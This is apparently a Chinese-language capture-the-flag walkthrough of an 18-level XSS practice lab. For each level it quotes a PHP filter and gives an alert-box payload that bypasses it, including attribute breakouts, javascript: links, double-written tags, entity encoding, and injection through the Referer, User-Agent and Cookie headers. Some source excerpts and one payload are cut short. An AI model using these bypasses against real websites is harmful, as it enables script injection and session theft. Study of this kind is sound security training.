说明
level-1
- 这道题很简单直接在url上输入payload
1 | <script>alert(1)</script> |
- 源代码分析
1 | $str = $_GET["name"]; |
- 发现源代码,对url输入的参数没有任何过滤
level-2
- 输入level-1的payload,可以看出对url的参数转译成HTML实体
- 查看源码
1 | $str = $_GET["keyword"]; |
- htmlspecialchars()
函数把预定义的字符转换为 HTML 实体 - 但是发现在form表单输出并没有实体化,可以在表单输入如下payload
1 | 1"><script>alert(1)</script>// |
- 也可以在url输入如下payload
1 | "onclick="window.alert() |
- 点击表单,就会弹出弹窗
level-3
- 直接看源码
1 | $str = $_GET["keyword"]; |
- 发现表单输出也实体化了,payload如下:
1 | 'onclick='window.alert() |
- htmlspecialchars转译双引号,但不转义单引号,这里程序还有个小bug,url输入没反应,理论上应该也可以成功
level-4
- 还是直接看源码
1 | ini_set("display_errors", 0); |
- str_replace()
把字符串 “Hello world!” 中的字符 “world” 替换为 “Shanghai”:
1 | <?php |
- 可以看出url,form输入的参数,”<”,”>”,分别被替换为”,”
- payload:
1 | "onclick="window.alert() |
level-5
- 源码
1 | $str = strtolower($_GET["keyword"]); |
- 可以看到<script>被替换成<scr_ipt>,on被替换成o_n,onclick点击事件不能用了
- 大写可以吗?当然不可以因为
- strtolower
把所有字符转换为小写 - 但是可以用如下payload
1 | "><a href="javascript:alert('a')">1</a>// |
- 记得要闭合前面的括号,也注释掉后面的js语句
level-6
- 查看源码
1 | ini_set("display_errors", 0); |
- 可以看出,on->o_n,src->sr_c,data->da_ta,href->hr_ef
- 但是这时候没有strtolower函数,可以用如下payload
1 | 1 "><a HREF="javascript:alert('a')">1</a>// |
level-7
- 查看源代码
1 | ini_set("display_errors", 0); |
- 大写转为小写,script等字符转化为空,但是双写就可以绕过
- payload
1 | "><scrscriptipt>alert(1)</scrscriptipt>// |
level-8
- 源码
1 | ini_set("display_errors", 0); |
- 这道题有点难,这时候可以转化编码
- payload如下:
1 | s转化位unicode编码: |
level-9
- 源码
1 | if(false===strpos($str7,'http://')) |
- 可以发现,和level-8的区别是友情链接多了一个判断
- strpos
查找 “php” 在字符串中第一次出现的位置:
返回值:
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。1
2
3<?php
echo strpos("You love php, I love php too!","php");
?>
- 就是说你在表单填的信息,必须是http的链接,不是的话就认为是有恶意代码,报错
- 我们可以加http注释,不发挥作用
- payload
1 | javascri'&'#'x0070;t:alert(1)/*http://www.baidu.com*/ |
level-10
- 源码
1 | ini_set("display_errors", 0); |
- keyword参数没什么作用,看到3个input标签,属性都是hidden,很懵。但是目标很明确,让任意一个hidden,变成text,就可以成功。但是参数只有从t_sort中获取,因此
- payload
1 | &t_sort="onclick="alert()"type="text" |
- &逻辑语句,
1 | 链接两个语句,与and同义 |
level-11
- 源码
1 | $str = $_GET["keyword"]; |
- 分析源码可以看到$str11=$_SERVER[‘HTTP_REFERER’];,他接收了上一题的referer。
- 用level-10完成之前,抓包,然后将referer改成如下payload即可完成
- payload
1 | Referer:t_sort="type="text" onclick="alert(1) |
level-12
- 其他的和上一题基本相似,接收了上一题的user-agent,源码
1 | $str11=$_SERVER['HTTP_USER_AGENT']; |
- 在level-11完成之前用brup抓包,将user-agent参数改成如下payload
- payload
1 | User-Agent:t_sort="type="text" onclick="alert(1) |
level-13
- 接收了上一题的cookie源码
1 | $str11=$_COOKIE["user"]; //获取cookie的user值 |
- 在level-12完成之前用brup抓包,将cookie参数改成如下payload
- payload
1 | Cookie:user=t_sort="type="text" onclick="alert(1); |
level-14
- 利用exiftool改变图片的exif信息
- 上传一个含有xss代码的图片触发xss
- 因为要用到乌云信息,
参考先知社区链接:
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12
level-15
- 看源码
1 | ini_set("display_errors", 0); |
- AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下
- 因此调用level-1的代码payload
1 | /level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>' |
level-16
- 看源码
1 | $str = strtolower($_GET["keyword"]); |
- 分析源码可知,script,/,空格都转译了
- 用img标签,%0d或者%0a作为分隔符代替空格,paylaod如下
1 | ?keyword=test<img%0dsrc=1%0donerror=alert(1)> |
level-17
- 源码
1 | echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; |
- <embed> 标签定义嵌入的内容,比如插件。
- 火狐浏览器不显示,我用谷歌可以成功
- payload
1 | ?arg01=a&arg02= onmouseover=alert(1) |
- 理论上onclick也可以成功,但是直接,就跳转到错误界面了,没来得及显
- onmouseup 事件触发后,再触发 onclick 事件
level-18
- 源码
1 | "<?php |
- 分析源码和level-17没什么差异
- payload
1 | ?arg01=a&arg02=b%20onmouseout=alert(1) |